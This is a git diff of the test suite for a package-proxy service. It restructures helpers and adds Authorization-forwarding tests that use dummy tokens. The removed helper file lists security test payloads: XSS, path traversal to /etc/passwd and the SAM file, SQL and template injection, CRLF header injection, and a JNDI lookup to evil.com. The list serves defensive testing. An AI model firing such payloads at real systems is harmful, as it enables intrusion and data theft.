}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a Docker request for testing
|
||||||
|
* @param {string} url - Docker registry URL
|
||||||
|
* @param {Object} options - Request options
|
||||||
|
* @returns {Request} Docker request object
|
||||||
|
*/
|
||||||
|
export function createDockerRequest(url, options = {}) {
|
||||||
|
return new Request(url, {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'docker/24.0.0',
|
||||||
|
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
|
||||||
|
...options.headers
|
||||||
|
},
|
||||||
|
...options
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Mock fetch function for testing
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {Object} options - Fetch options
|
||||||
|
* @returns {Promise<Response>} Mock response
|
||||||
|
*/
|
||||||
|
export function mockFetch(url, options = {}) {
|
||||||
|
return new Promise(resolve => {
|
||||||
|
setTimeout(() => {
|
||||||
|
if (url.includes('error')) {
|
||||||
|
resolve(createMockResponse('Server Error', { status: 500 }));
|
||||||
|
} else if (url.includes('notfound')) {
|
||||||
|
resolve(createMockResponse('Not Found', { status: 404 }));
|
||||||
|
} else {
|
||||||
|
resolve(createMockResponse('Mock Response', { status: 200 }));
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a mock npm registry response
|
||||||
|
* @param {string} packageName - Package name
|
||||||
|
* @param {string} version - Package version
|
||||||
|
* @returns {Object} Mock npm registry response
|
||||||
|
*/
|
||||||
|
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
||||||
|
return {
|
||||||
|
name: packageName,
|
||||||
|
versions: {
|
||||||
|
[version]: {
|
||||||
|
name: packageName,
|
||||||
|
version,
|
||||||
|
dist: {
|
||||||
|
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
||||||
|
shasum: 'mock-shasum',
|
||||||
|
integrity: 'mock-integrity'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'dist-tags': {
|
||||||
|
latest: version
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
+5
-333
@@ -1,336 +1,8 @@
|
|||||||
/**
|
/**
|
||||||
* Test utilities and helper functions
|
* Test utilities - backward compatibility wrapper
|
||||||
|
* This file maintains backward compatibility with existing tests
|
||||||
|
* by re-exporting from the new modular structure
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
// Re-export everything from the new modular helpers
|
||||||
* Create a mock request with default options
|
export * from './index.js';
|
||||||
* @param {string} url - Request URL
|
|
||||||
* @param {Object} options - Request options
|
|
||||||
* @returns {Request} Mock request object
|
|
||||||
*/
|
|
||||||
export function createMockRequest(url, options = {}) {
|
|
||||||
const defaultOptions = {
|
|
||||||
method: 'GET',
|
|
||||||
headers: {
|
|
||||||
'User-Agent': 'Mozilla/5.0 (Test)',
|
|
||||||
Accept: '*/*'
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
return new Request(url, { ...defaultOptions, ...options });
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Create a mock response with default options
|
|
||||||
* @param {string} body - Response body
|
|
||||||
* @param {Object} options - Response options
|
|
||||||
* @returns {Response} Mock response object
|
|
||||||
*/
|
|
||||||
export function createMockResponse(body = 'OK', options = {}) {
|
|
||||||
const defaultOptions = {
|
|
||||||
status: 200,
|
|
||||||
statusText: 'OK',
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
return new Response(body, { ...defaultOptions, ...options });
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Create a Git request for testing
|
|
||||||
* @param {string} url - Git repository URL
|
|
||||||
* @param {string} service - Git service (upload-pack or receive-pack)
|
|
||||||
* @returns {Request} Git request object
|
|
||||||
*/
|
|
||||||
export function createGitRequest(url, service = 'git-upload-pack') {
|
|
||||||
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
|
||||||
|
|
||||||
return new Request(gitUrl, {
|
|
||||||
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
|
||||||
headers: {
|
|
||||||
'User-Agent': 'git/2.34.1',
|
|
||||||
'Git-Protocol': 'version=2',
|
|
||||||
...(service !== 'git-upload-pack' && {
|
|
||||||
'Content-Type': `application/x-${service}-request`
|
|
||||||
})
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Generate test URLs for different platforms
|
|
||||||
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
|
||||||
* @param {string} path - Resource path
|
|
||||||
* @returns {string} Complete test URL
|
|
||||||
*/
|
|
||||||
export function generateTestUrl(platform, path) {
|
|
||||||
const baseUrl = 'https://example.com';
|
|
||||||
return `${baseUrl}/${platform}/${path}`;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Common test URLs for different platforms
|
|
||||||
*/
|
|
||||||
export const TEST_URLS = {
|
|
||||||
github: {
|
|
||||||
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
|
||||||
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
|
||||||
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
|
||||||
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
|
||||||
git: 'https://example.com/gh/microsoft/vscode.git'
|
|
||||||
},
|
|
||||||
gitlab: {
|
|
||||||
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
|
||||||
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
|
||||||
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
|
||||||
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
|
||||||
},
|
|
||||||
huggingface: {
|
|
||||||
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
|
||||||
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
|
||||||
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
|
||||||
},
|
|
||||||
npm: {
|
|
||||||
package: 'https://example.com/npm/react',
|
|
||||||
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
|
||||||
scoped: 'https://example.com/npm/@types/node',
|
|
||||||
// Test case for the specific npm package that caused the issue
|
|
||||||
npmPackage: 'https://example.com/npm/npm',
|
|
||||||
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
|
||||||
},
|
|
||||||
pypi: {
|
|
||||||
simple: 'https://example.com/pypi/simple/requests/',
|
|
||||||
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
|
||||||
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
|
||||||
},
|
|
||||||
conda: {
|
|
||||||
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
|
||||||
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
|
||||||
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Security test payloads
|
|
||||||
*/
|
|
||||||
export const SECURITY_PAYLOADS = {
|
|
||||||
xss: [
|
|
||||||
'<script>alert(1)</script>',
|
|
||||||
'javascript:alert(1)',
|
|
||||||
'"><script>alert(1)</script>',
|
|
||||||
"';alert(1);//"
|
|
||||||
],
|
|
||||||
pathTraversal: [
|
|
||||||
'../../../etc/passwd',
|
|
||||||
'..%2F..%2F..%2Fetc%2Fpasswd',
|
|
||||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
|
||||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
|
||||||
],
|
|
||||||
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
|
||||||
headerInjection: [
|
|
||||||
'value\r\nX-Injected: malicious',
|
|
||||||
'value\nX-Injected: malicious',
|
|
||||||
'value\r\n\r\n<script>alert(1)</script>'
|
|
||||||
]
|
|
||||||
};
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Performance test utilities
|
|
||||||
*/
|
|
||||||
export class PerformanceTestHelper {
|
|
||||||
constructor() {
|
|
||||||
this.measurements = [];
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Measure execution time of an async function
|
|
||||||
* @param {Function} fn - Async function to measure
|
|
||||||
* @param {string} name - Measurement name
|
|
||||||
* @returns {Promise<any>} Function result
|
|
||||||
*/
|
|
||||||
async measure(fn, name = 'operation') {
|
|
||||||
const start = performance.now();
|
|
||||||
const result = await fn();
|
|
||||||
const end = performance.now();
|
|
||||||
|
|
||||||
this.measurements.push({
|
|
||||||
name,
|
|
||||||
duration: end - start,
|
|
||||||
timestamp: Date.now()
|
|
||||||
});
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Get all measurements
|
|
||||||
* @returns {Array} Array of measurements
|
|
||||||
*/
|
|
||||||
getMeasurements() {
|
|
||||||
return [...this.measurements];
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Get average duration for a specific measurement name
|
|
||||||
* @param {string} name - Measurement name
|
|
||||||
* @returns {number} Average duration in milliseconds
|
|
||||||
*/
|
|
||||||
getAverageDuration(name) {
|
|
||||||
const filtered = this.measurements.filter(m => m.name === name);
|
|
||||||
if (filtered.length === 0) return 0;
|
|
||||||
|
|
||||||
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
|
||||||
return total / filtered.length;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Clear all measurements
|
|
||||||
*/
|
|
||||||
clear() {
|
|
||||||
this.measurements = [];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Mock fetch function for testing
|
|
||||||
* @param {string} url - Request URL
|
|
||||||
* @param {Object} options - Fetch options
|
|
||||||
* @returns {Promise<Response>} Mock response
|
|
||||||
*/
|
|
||||||
export function mockFetch(url, options = {}) {
|
|
||||||
// Simulate network delay
|
|
||||||
return new Promise(resolve => {
|
|
||||||
setTimeout(() => {
|
|
||||||
if (url.includes('error')) {
|
|
||||||
resolve(createMockResponse('Server Error', { status: 500 }));
|
|
||||||
} else if (url.includes('notfound')) {
|
|
||||||
resolve(createMockResponse('Not Found', { status: 404 }));
|
|
||||||
} else {
|
|
||||||
resolve(createMockResponse('Mock Response', { status: 200 }));
|
|
||||||
}
|
|
||||||
}, 10);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Create a mock npm registry response
|
|
||||||
* @param {string} packageName - Package name
|
|
||||||
* @param {string} version - Package version
|
|
||||||
* @returns {Object} Mock npm registry response
|
|
||||||
*/
|
|
||||||
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
|
||||||
return {
|
|
||||||
name: packageName,
|
|
||||||
versions: {
|
|
||||||
[version]: {
|
|
||||||
name: packageName,
|
|
||||||
version: version,
|
|
||||||
dist: {
|
|
||||||
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
|
||||||
shasum: 'mock-shasum',
|
|
||||||
integrity: 'mock-integrity'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
'dist-tags': {
|
|
||||||
latest: version
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Validate response headers for security
|
|
||||||
* @param {Response} response - Response to validate
|
|
||||||
* @returns {Object} Validation results
|
|
||||||
*/
|
|
||||||
export function validateSecurityHeaders(response) {
|
|
||||||
const requiredHeaders = [
|
|
||||||
'Strict-Transport-Security',
|
|
||||||
'X-Frame-Options',
|
|
||||||
'X-XSS-Protection',
|
|
||||||
'Content-Security-Policy',
|
|
||||||
'Referrer-Policy'
|
|
||||||
];
|
|
||||||
|
|
||||||
const results = {
|
|
||||||
passed: true,
|
|
||||||
missing: [],
|
|
||||||
present: []
|
|
||||||
};
|
|
||||||
|
|
||||||
requiredHeaders.forEach(header => {
|
|
||||||
if (response.headers.has(header)) {
|
|
||||||
results.present.push(header);
|
|
||||||
} else {
|
|
||||||
results.missing.push(header);
|
|
||||||
results.passed = false;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
return results;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Generate random test data
|
|
||||||
*/
|
|
||||||
export const TestDataGenerator = {
|
|
||||||
/**
|
|
||||||
* Generate random string
|
|
||||||
* @param {number} length - String length
|
|
||||||
* @returns {string} Random string
|
|
||||||
*/
|
|
||||||
randomString(length = 10) {
|
|
||||||
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
|
||||||
let result = '';
|
|
||||||
for (let i = 0; i < length; i++) {
|
|
||||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
},
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Generate random GitHub repository path
|
|
||||||
* @returns {string} Repository path
|
|
||||||
*/
|
|
||||||
githubRepo() {
|
|
||||||
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
|
||||||
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
|
||||||
const user = users[Math.floor(Math.random() * users.length)];
|
|
||||||
const repo = repos[Math.floor(Math.random() * repos.length)];
|
|
||||||
return `${user}/${repo}`;
|
|
||||||
},
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Generate random file path
|
|
||||||
* @returns {string} File path
|
|
||||||
*/
|
|
||||||
filePath() {
|
|
||||||
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
|
||||||
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
|
||||||
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
|
||||||
const file = files[Math.floor(Math.random() * files.length)];
|
|
||||||
return `${dir}/${file}`;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Test timeout helper
|
|
||||||
* @param {number} ms - Timeout in milliseconds
|
|
||||||
* @returns {Promise} Promise that rejects after timeout
|
|
||||||
*/
|
|
||||||
export function timeout(ms) {
|
|
||||||
return new Promise((_, reject) => {
|
|
||||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Wait for a specified amount of time
|
|
||||||
* @param {number} ms - Time to wait in milliseconds
|
|
||||||
* @returns {Promise} Promise that resolves after the specified time
|
|
||||||
*/
|
|
||||||
export function wait(ms) {
|
|
||||||
return new Promise(resolve => setTimeout(resolve, ms));
|
|
||||||
}
|
|
||||||
+2
-2
@@ -176,7 +176,7 @@ describe('Xget Core Functionality', () => {
|
|||||||
|
|
||||||
describe('Path Length Validation', () => {
|
describe('Path Length Validation', () => {
|
||||||
it('should reject extremely long paths', async () => {
|
it('should reject extremely long paths', async () => {
|
||||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||||
|
|
||||||
expect(response.status).toBe(414);
|
expect(response.status).toBe(414);
|
||||||
@@ -241,7 +241,7 @@ describe('Xget Core Functionality', () => {
|
|||||||
// Simulate the regex replacement that happens in the code
|
// Simulate the regex replacement that happens in the code
|
||||||
const rewrittenText = mockOriginalText.replace(
|
const rewrittenText = mockOriginalText.replace(
|
||||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||||
`https://xget.xi-xu.me/npm/$1`
|
'https://xget.xi-xu.me/npm/$1'
|
||||||
);
|
);
|
||||||
|
|
||||||
const rewrittenData = JSON.parse(rewrittenText);
|
const rewrittenData = JSON.parse(rewrittenText);
|
||||||
|
|||||||
@@ -125,7 +125,7 @@ describe('Integration Tests', () => {
|
|||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {
|
headers: {
|
||||||
'Content-Type': 'application/vnd.git-lfs+json',
|
'Content-Type': 'application/vnd.git-lfs+json',
|
||||||
'Accept': 'application/vnd.git-lfs+json',
|
Accept: 'application/vnd.git-lfs+json',
|
||||||
'User-Agent': 'git-lfs/3.0.0'
|
'User-Agent': 'git-lfs/3.0.0'
|
||||||
},
|
},
|
||||||
body: JSON.stringify({
|
body: JSON.stringify({
|
||||||
@@ -143,11 +143,12 @@ describe('Integration Tests', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('should handle LFS object download requests', async () => {
|
it('should handle LFS object download requests', async () => {
|
||||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
|
const testUrl =
|
||||||
|
'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
|
||||||
const response = await SELF.fetch(testUrl, {
|
const response = await SELF.fetch(testUrl, {
|
||||||
headers: {
|
headers: {
|
||||||
'User-Agent': 'git-lfs/3.0.0',
|
'User-Agent': 'git-lfs/3.0.0',
|
||||||
'Accept': 'application/octet-stream'
|
Accept: 'application/octet-stream'
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -160,7 +161,7 @@ describe('Integration Tests', () => {
|
|||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {
|
headers: {
|
||||||
'User-Agent': 'git-lfs/3.0.0',
|
'User-Agent': 'git-lfs/3.0.0',
|
||||||
'Accept': 'application/vnd.git-lfs+json',
|
Accept: 'application/vnd.git-lfs+json',
|
||||||
'Content-Type': 'application/vnd.git-lfs+json'
|
'Content-Type': 'application/vnd.git-lfs+json'
|
||||||
},
|
},
|
||||||
body: '{}'
|
body: '{}'
|
||||||
@@ -438,4 +439,72 @@ describe('Integration Tests', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('Authentication Header Forwarding', () => {
|
||||||
|
it('should forward Authorization header for Hugging Face requests', async () => {
|
||||||
|
// Test with a Hugging Face dataset file that would require authentication
|
||||||
|
const testUrl = 'https://example.com/hf/datasets/test/private-dataset/resolve/main/data.csv';
|
||||||
|
const authToken = 'Bearer hf_test_token_12345';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
method: 'HEAD',
|
||||||
|
headers: {
|
||||||
|
Authorization: authToken
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should accept the request (not 400 bad request)
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
// Should attempt to proxy to HF with auth (status depends on actual HF response)
|
||||||
|
expect([200, 401, 403, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should forward Authorization header for GitHub API requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/test/private-repo/README.md';
|
||||||
|
const authToken = 'Bearer ghp_test_token_12345';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
method: 'HEAD',
|
||||||
|
headers: {
|
||||||
|
Authorization: authToken
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should accept the request and forward the auth header
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
expect([200, 401, 403, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should forward Authorization header for PyPI authenticated requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/pypi/simple/private-package/';
|
||||||
|
const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
method: 'HEAD',
|
||||||
|
headers: {
|
||||||
|
Authorization: authToken
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should accept the request
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
expect([200, 401, 403, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should work with gated Hugging Face models', async () => {
|
||||||
|
// Simulate a request to a gated model that requires authentication
|
||||||
|
const testUrl = 'https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json';
|
||||||
|
const authToken = 'Bearer hf_authenticated_token';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
headers: {
|
||||||
|
Authorization: authToken
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should attempt to proxy with authentication
|
||||||
|
// The actual status depends on whether the token is valid and the model exists
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
@@ -253,7 +253,8 @@ describe('Container Registry Support', () => {
|
|||||||
|
|
||||||
it('should handle Docker Hub user images (namespace/image format)', async () => {
|
it('should handle Docker Hub user images (namespace/image format)', async () => {
|
||||||
// User images already have namespace prefix
|
// User images already have namespace prefix
|
||||||
const testUrl = 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
const testUrl =
|
||||||
|
'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||||
const response = await SELF.fetch(testUrl, {
|
const response = await SELF.fetch(testUrl, {
|
||||||
headers: {
|
headers: {
|
||||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||||
@@ -265,29 +266,23 @@ describe('Container Registry Support', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('should allow GET for Docker Hub manifest requests', async () => {
|
it('should allow GET for Docker Hub manifest requests', async () => {
|
||||||
const response = await SELF.fetch(
|
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||||
'https://example.com/cr/docker/v2/nginx/manifests/latest',
|
|
||||||
{
|
|
||||||
method: 'GET',
|
method: 'GET',
|
||||||
headers: {
|
headers: {
|
||||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||||
}
|
}
|
||||||
}
|
});
|
||||||
);
|
|
||||||
|
|
||||||
expect(response.status).not.toBe(405);
|
expect(response.status).not.toBe(405);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should allow HEAD for Docker Hub manifest requests', async () => {
|
it('should allow HEAD for Docker Hub manifest requests', async () => {
|
||||||
const response = await SELF.fetch(
|
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||||
'https://example.com/cr/docker/v2/nginx/manifests/latest',
|
|
||||||
{
|
|
||||||
method: 'HEAD',
|
method: 'HEAD',
|
||||||
headers: {
|
headers: {
|
||||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||||
}
|
}
|
||||||
}
|
});
|
||||||
);
|
|
||||||
|
|
||||||
expect(response.status).not.toBe(405);
|
expect(response.status).not.toBe(405);
|
||||||
});
|
});
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('CRAN Platform Configuration', () => {
|
describe('CRAN Platform Configuration', () => {
|
||||||
it('should have CRAN platform configured', () => {
|
it('should have CRAN platform configured', () => {
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { transformPath } from '../src/config/platforms.js';
|
import { transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('crates.io path transformation', () => {
|
describe('crates.io path transformation', () => {
|
||||||
it('should transform crate download URLs correctly', () => {
|
it('should transform crate download URLs correctly', () => {
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { transformPath } from '../src/config/platforms.js';
|
import { transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('Homebrew path transformation', () => {
|
describe('Homebrew path transformation', () => {
|
||||||
describe('homebrew-api platform', () => {
|
describe('homebrew-api platform', () => {
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { transformPath } from '../src/config/platforms.js';
|
import { transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('Jenkins Plugin Support', () => {
|
describe('Jenkins Plugin Support', () => {
|
||||||
describe('Update Center Transformations', () => {
|
describe('Update Center Transformations', () => {
|
||||||
@@ -16,7 +16,7 @@ describe('npm URL Rewriting Fix', () => {
|
|||||||
// Simulate the regex replacement that happens in the code
|
// Simulate the regex replacement that happens in the code
|
||||||
const rewrittenText = mockOriginalText.replace(
|
const rewrittenText = mockOriginalText.replace(
|
||||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||||
`https://xget.xi-xu.me/npm/$1`
|
'https://xget.xi-xu.me/npm/$1'
|
||||||
);
|
);
|
||||||
|
|
||||||
const rewrittenData = JSON.parse(rewrittenText);
|
const rewrittenData = JSON.parse(rewrittenText);
|
||||||
@@ -41,7 +41,7 @@ describe('npm URL Rewriting Fix', () => {
|
|||||||
|
|
||||||
const rewrittenText = mockOriginalText.replace(
|
const rewrittenText = mockOriginalText.replace(
|
||||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||||
`https://xget.xi-xu.me/npm/$1`
|
'https://xget.xi-xu.me/npm/$1'
|
||||||
);
|
);
|
||||||
|
|
||||||
const rewrittenData = JSON.parse(rewrittenText);
|
const rewrittenData = JSON.parse(rewrittenText);
|
||||||
@@ -67,7 +67,7 @@ describe('npm URL Rewriting Fix', () => {
|
|||||||
|
|
||||||
const rewrittenText = mockOriginalText.replace(
|
const rewrittenText = mockOriginalText.replace(
|
||||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||||
`https://xget.xi-xu.me/npm/$1`
|
'https://xget.xi-xu.me/npm/$1'
|
||||||
);
|
);
|
||||||
|
|
||||||
const rewrittenData = JSON.parse(rewrittenText);
|
const rewrittenData = JSON.parse(rewrittenText);
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('openSUSE Platform Configuration', () => {
|
describe('openSUSE Platform Configuration', () => {
|
||||||
it('should have openSUSE platform configured', () => {
|
it('should have openSUSE platform configured', () => {
|
||||||
+8
-256
@@ -1,117 +1,20 @@
|
|||||||
/**
|
/**
|
||||||
* Test setup and global configuration
|
* Test setup and global configuration
|
||||||
|
* Simplified version - only essential setup
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest';
|
import { beforeAll } from 'vitest';
|
||||||
|
|
||||||
// Global test configuration
|
|
||||||
const TEST_CONFIG = {
|
|
||||||
timeout: 30000, // 30 seconds
|
|
||||||
retries: 2,
|
|
||||||
bail: false
|
|
||||||
};
|
|
||||||
|
|
||||||
// Global test state
|
|
||||||
let testStartTime;
|
|
||||||
let testMetrics = {
|
|
||||||
totalTests: 0,
|
|
||||||
passedTests: 0,
|
|
||||||
failedTests: 0,
|
|
||||||
skippedTests: 0
|
|
||||||
};
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Global setup - runs once before all tests
|
* Global setup - runs once before all tests
|
||||||
*/
|
*/
|
||||||
beforeAll(async () => {
|
beforeAll(async () => {
|
||||||
console.log('🚀 Starting Xget test suite...');
|
|
||||||
testStartTime = Date.now();
|
|
||||||
|
|
||||||
// Initialize test environment
|
|
||||||
await setupTestEnvironment();
|
|
||||||
|
|
||||||
// Verify test dependencies
|
|
||||||
await verifyTestDependencies();
|
|
||||||
|
|
||||||
console.log('✅ Test environment initialized');
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Global teardown - runs once after all tests
|
|
||||||
*/
|
|
||||||
afterAll(async () => {
|
|
||||||
const duration = Date.now() - testStartTime;
|
|
||||||
|
|
||||||
console.log('\n📊 Test Suite Summary:');
|
|
||||||
console.log(` Duration: ${duration}ms`);
|
|
||||||
console.log(` Total: ${testMetrics.totalTests}`);
|
|
||||||
console.log(` Passed: ${testMetrics.passedTests}`);
|
|
||||||
console.log(` Failed: ${testMetrics.failedTests}`);
|
|
||||||
console.log(` Skipped: ${testMetrics.skippedTests}`);
|
|
||||||
|
|
||||||
// Cleanup test environment
|
|
||||||
await cleanupTestEnvironment();
|
